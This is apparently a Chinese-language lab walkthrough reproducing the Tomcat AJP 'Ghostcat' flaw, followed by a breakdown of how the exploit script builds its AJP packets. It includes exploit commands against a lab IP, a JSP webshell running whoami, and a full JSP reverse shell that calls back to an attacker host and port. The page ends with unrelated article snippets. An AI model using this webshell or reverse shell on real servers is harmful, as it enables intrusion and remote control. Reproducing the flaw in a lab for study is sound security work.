Tomcat- AJP协议文件读取/命令执行漏洞(幽灵猫复现)详细步骤

news2025/7/27 4:37:08

一、漏洞描述

Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器.默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件,将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0).

二、危险等级

高危

三、漏洞危害

攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害

四、影响范围

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

五、前提条件

对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009 。

六、漏洞原理

Tomcat 配置了两个Connector,Connector组件的主要职责就是负责接收客户端连接和客户端请求的处理加工。它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致。

攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。

浏览器不能直接支持AJP协议。所以实际通过Apacheproxy_ajp模块进行反向代理,暴露成http协议(8009端口)给客户端访问

相关的配置文件在conf/server.xml。

构造两个不同的请求,经过tomcat内部处理流程,一个走default servlet(DefaultServlet),另一个走jsp servlet(JspServlet),可导致的不同的漏洞。

文件读取漏洞走的是DefaultServlet,文件包含漏洞走的是JspServlet。

七、部署靶机环境

靶机:ubuntu22.04

配置:可以看看这个,无脑操作(当然可以使用docker)

在 Ubuntu 20.04 上安装 Apache Tomcat 教程 - Bandwagonhost中文网-Bandwagonhost中文网

攻击机:Linux kali2023

八、复现过程

1、探测IP

2、任意文件读取

下载Exp

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

cd CNVD-2020-10487-Tomcat-Ajp-lfi/

chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py 

读取文件内容(-f后即是指定的文件):

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.155.184 -p 8009 -f WEB-INF/web.xml
Python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.155.184 -p 8009 -f index.jsp

3.任意文件包含(这个需要结合文件上传漏洞)

这里自己上传了一个木马到ROOT目录:test.txt

脚本内容:

<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>

访问一下是可达的

修改Poc:

主要是这,将/asdf改成/asdf.jspx

执行脚本

python2 cvefileinclude.py 192.168.155.184 -p 8009 -f test.txt

成功

尝试反弹shell:

脚本:

<%@page import="java.lang.*,  java.util.*,  java.io.*,  java.net.*"%>

<%

try {

    String host = "192.168.155.166";

    int port = 9001;

    Socket socket = new Socket();

    socket.connect(new  InetSocketAddress(host, port), 2000);

   

    Process process;

    if (System.getProperty("os.name").toLowerCase().contains("win"))  {

        process = new ProcessBuilder("cmd.exe").redirectErrorStream(true).start();

    } else {

        process = new ProcessBuilder("/bin/sh").redirectErrorStream(true).start();

    }

   

    InputStream  pin = process.getInputStream();

    InputStream  perr = process.getErrorStream();

    OutputStream pout = process.getOutputStream();

   

    InputStream  sin = socket.getInputStream();

    OutputStream sout = socket.getOutputStream();

   

    while(!socket.isClosed())  {

        while(pin.available()  > 0)  sout.write(pin.read());

        while(perr.available()  > 0) sout.write(perr.read());

        while(sin.available()  > 0)  pout.write(sin.read());

        sout.flush();

        pout.flush();

    }

    process.destroy();

    socket.close();

} catch (Exception e) {}

%>

九、POC解析

(一)引入的包及作用

1、struct:用于处理二进制数据,AJP协议基于二进制

2、socket:建立与Tomcat服务器的AJP端口的TCP连接,发送构造的恶意请求并接收响应。

3、argparse:解析命令行参数

4、StringIO(隐式引入):在AjpForwardRequest.parse() 中,用于将二进制数据流转换为类文件对象,便于流式解析

(二)函数

Pack_strings:函数

将字符串 s 按特定二进制格式序列化:[2字节长度] + [字符串字节数据] + [1字节的0]

       >h: 表示大端(Big-endian)的有符号短整数(2字节)

       >H:大端的无符号短整数(2字节)

       %ds:动态长度的字节串(例如 5s 表示 5 字节),对应 s 的 UTF-8 编码数据。

        b:一个有符号字节(1字节),固定为 0

大端序是最高有效字节在前,小端是最低有效字节在前。AJP协议是基于TCP的,而网络传输通常采用大端序,也就是网络字节序。同时Tomcat AJP协议(Apache JServ Protocol)明确要求所有字段以大端序编码,且字符串以 \0 结尾

Unpack函数

解包二进制数据,返回一个元组

计算需要读取的字节数à读取字节à按照格式解析读取到的字节

unpack_string函数

从二进制流中解析 AJP 协议格式字符串,记住前两个字节表示整个字节流的长度

(三)类

AjpBodyRequest类

处理客户端与服务器之间的数据传输

数据传输方向:

读取字节à空则返回数据头,非空则添加数据长度à根据方向拼接数据并返回

循环发送数据块 → 等待服务器指令 → 根据指令决定是否继续发送

GET_BODY_CHUNK:表示对方要求发送下一个数据块(用于分片传输)。

SEND_HEADERS:表示对方已发送响应头,需结束数据传输。

len(data) == 4:表示空包

AjpForwardRequest类

构造和发送AJP请求到目标服务器

分配数值标识符,AJP协议要求将HTTP方法以数值而不是字符串形式传输

后面定义标准请求头和请求属性

SC_REQ:该头是 AJP协议预定义的标准头

区分预定义头和自定义头,将HTTP请求头按AJP协议规范序列化为二进制数据

若属性名为req_attribute,表示这是一个嵌套属性,其值需拆分为两个部分(名,值)à打包属性(名)值。看到这里可以基本明白漏洞原理。

AJP 协议未对 javax.servlet.include.* 属性进行安全校验,攻击者通过伪造请求头实现 路径穿越。通过设置req_attribute 属性,注入恶意路径,触发 Tomcat 解析任意文件,从而泄露敏感信息。例如:{'name':'req_attribute', 'value':['javax.servlet.include.path_info', 'WEB-INF/web.xml']},

在属性列表末尾添加 0xFF,表示 属性序列结束

Serialize函数:生成二进制数据包

Parse函数:解析接收到的AJP协议数据包,将其转换为结构化的请求对象

send_and_receive函数:处理AJP协议的请求发送和响应接收

参数传入

/asdf 是用于触发 AJP 文件包含漏洞的任意路径,实现路径覆盖,访问目标文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2397680.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

B1、进度汇报(— 25/05/31)

本文档汇总了各成员在 2025 年 5 月 11 日 ~ 5 月 31 日完成的工作。我们遇到了进度问题&#xff08;收工后需反思&#xff09;&#xff1a; 本学期第十四周&#xff08;05/19 ~ 05/25&#xff09;有相当多课程需要提交实验结果或上台展示。本学期第十六周&#xff08;06/02 ~…

Flutter实现不规则瀑布流布局拖拽重排序

因为业务&#xff0c;所以需要用flutter去实现一种不规则图形的瀑布流&#xff0c;但是同时需要支持拖拽并重新排序。效果类似如下。 查询过现有的插件&#xff0c;要么是仅支持同样大小的组件进行排序&#xff0c;要么就是动画效果不是很满意&#xff0c;有点死板&#xff0c;…

【第4章 图像与视频】4.1 图像的绘制

文章目录 前言在 Canvas 之中绘制图像drawImage() 方法的用法 前言 drawImage() 方法可以将一幅图像的整体或某个部分绘制到 canvas 内的任何位置上&#xff0c;并且允许开发者在绘制过程中对图像进行缩放。也可以将图像绘制在离屏 canvas 中&#xff0c;这样的话就可以对图像…

G25-05-31Rust开源项目日报 Top10

根据Github Trendings的统计,今日(2025-05-31统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Rust项目10TypeScript项目1Pake: 利用 Rust 轻松构建轻量级多端桌面应用 创建周期:491 天开发语言:Rust协议类型:MIT LicenseStar数量:2095…

window安装nginx

步骤1&#xff1a;下载Nginx for Windows​ 访问Nginx官网下载页面&#xff1a;https://nginx.org/en/download.html 在​​Stable version​​&#xff08;稳定版&#xff09;下找到Windows版本&#xff0c;点击下载.zip文件&#xff08;如 nginx-1.28.0.zip&#xff09; 步…

ArcGIS Pro裁剪影像

方法1&#xff1a; 工具箱中&#xff0c;数据管理工具-栅格-栅格处理-裁剪栅格 注意&#xff1a;勾选上使用输入要素裁剪几何 方法2&#xff1a; 按掩膜提取工具裁剪栅格&#xff1a;在工具箱中&#xff0c;Spatial Analyst工具-提取分析-按掩膜提取

[智能算法]蚁群算法原理与TSP问题示例

目录 ​编辑 一、生物行为启发的智能优化算法 1.1 自然界的群体智能现象 1.2 人工蚁群算法核心思想 二、算法在组合优化中的应用演进 2.1 经典TSP问题建模 2.2 算法流程优化 三、TSP问题实战:Python实现与可视化 3.1 算法核心类设计 3.2 参数敏感性实验 3.3 可视化…

【Go语言】Fyne GUI 库使用指南 (面向有经验开发者)

引言 Fyne 是一个使用 Go 语言编写的、易于使用的跨平台 GUI 工具包和应用程序 API。它旨在通过单一代码库构建在桌面和移动设备上运行的应用程序。本文档面向有一定 Go 语言开发经验的开发者&#xff0c;将详细介绍 Fyne 最新版的核心功能&#xff0c;包括基础组件、布局系统…

openssl 怎么生成吊销列表

mkdir test cd test # 根据 /usr/lib/ssl/openssl.cnf 配置文件中目录结构可知有个demoCA目录&#xff0c;目录下有各种文件。 mkdir ./demoCA ./demoCA/newcerts ./demoCA/private sudo chmod 777 -R ./demoCA/ echo 01 > ./demoCA/serial touch ./demoCA/index.txt # /usr…

springboot-响应接收与ioc容器控制反转、Di依赖注入

1.想将服务器中的数据返回给客户端&#xff0c;需要在controller类上加注解&#xff1a;ResponseBody; 这个注解其实在前面已经使用过&#xff0c;RestController其实就包含两个注解&#xff1a; Controller ResponseBody 返回值如果是实体对象/集合&#xff0c;将会转换为j…

Spring代理工厂类ProxyFactory作用以及实现原理

代理工厂类ProxyFactory AdvisedSupport&#xff08;代理配置信息类&#xff09;ProxyFactory&#xff08;代理工厂类&#xff09;小结测试 源码见&#xff1a;mini-spring 在 AOP&#xff08;面向切面编程&#xff09;中&#xff0c;Spring 支持两种常见的代理机制&#xff1a…

集成电路制造设备防震基座选型指南:为稳定护航-江苏泊苏系统集成有限公司

集成电路制造设备防震基座选型指南&#xff1a;为稳定护航 在集成电路制造这一精密复杂的领域&#xff0c;每一个环节都如同精密仪器中的微小齿轮&#xff0c;一丝偏差都可能导致严重后果。制造设备的稳定运行更是重中之重&#xff0c;而防震基座作为守护设备稳定的第一道防线…

华为OD机试真题——阿里巴巴找黄金宝箱(II)(2025A卷:100分)Java/python/JavaScript/C/C++/GO最佳实现

2025 A卷 100分 题型 本专栏内全部题目均提供Java、python、JavaScript、C、C++、GO六种语言的最佳实现方式; 并且每种语言均涵盖详细的问题分析、解题思路、代码实现、代码详解、3个测试用例以及综合分析; 本文收录于专栏:《2025华为OD真题目录+全流程解析+备考攻略+经验分…

探索DeepSeek提示词:关键策略与实用场景

在人工智能飞速发展的时代&#xff0c;DeepSeek作为一款备受关注的AI工具&#xff0c;其强大的功能为用户提供了高效便捷的服务。然而&#xff0c;要充分发挥DeepSeek的潜力&#xff0c;掌握提示词的使用策略至关重要。本文将深入探讨DeepSeek提示词的关键策略&#xff0c;并结…

海底三维可视化平台

1. 摘要 本文作者为视觉分析构建了一个真实海底的“虚拟世界”。在3D环境中导入底部轮廓。在该模型中&#xff0c;通过地震反射获得的海床地层剖面被数字化为离散点&#xff0c;并用克里金算法进行插值&#xff0c;以在每个地层中产生均匀的网格。然后在每一层构建 Delaunay三…

Elasticsearch 读写流程深度解析

在数据驱动的数字化浪潮中&#xff0c;Elasticsearch 凭借其毫秒级搜索响应与水平扩展能力&#xff0c;已成为现代数据架构的核心引擎。本文将深入剖析其读写流程的设计思想、实现细节与工程权衡&#xff0c;揭示这一分布式系统的精妙架构。 一、 架构基石&#xff1a;分布式设…

AIoT赋能场馆数字化转型:智能管理新生态

在数字化浪潮席卷全球的当下&#xff0c;传统场馆管理模式已难以满足日益增长的高效运营与精细化服务需求。智慧场馆建设成为行业发展的必然趋势&#xff0c;而AIoT&#xff08;人工智能物联网&#xff09;技术的深度应用&#xff0c;为多系统集成提供了全新的解决方案&#xf…

1、Pytorch介绍与安装

1、Pytorch介绍 PyTorch 是由 Facebook AI Research (FAIR) 团队开发并维护的一款开源深度学习框架&#xff0c;于 2016 年首次发布。它因其直观的设计、卓越的灵活性以及强大的动态计算图功能&#xff0c;迅速在学术界和工业界获得了广泛认可&#xff0c;成为当前深度学习研究…

【从零开始学习QT】Qt 概述

目录 一、什么是 Qt 1.1 简介 1.2 Qt 的发展史 1.3 Qt 支持的平台 1.5 Qt 的优点 1.6 Qt 的应用场景 二、搭建 Qt 开发环境 2.1 Qt SDK 的下载 2.2 Qt SDK 的安装 2.3 验证 Qt SDK 安装是否成功 2.4 Qt 环境变量配置 三、认识 Qt Creator 3.1 Qt Creator 概览 3.…

家庭路由器改装,搭建openwrt旁路由以及手机存储服务器,实现外网节点转发、内网穿透、远程存储、接入满血DeepSeek方案

大家好&#xff0c;也是好久没有发文了&#xff0c;最近在捣鼓一些比较有趣的东西&#xff0c;打算跟大家分享一下&#xff01; 先聊一下我的大致方案嘛&#xff0c;最近感觉家里路由器平时一直就只有无线广播供网的功能&#xff0c;感觉这么好的一下嵌入式设备产品不应该就干这…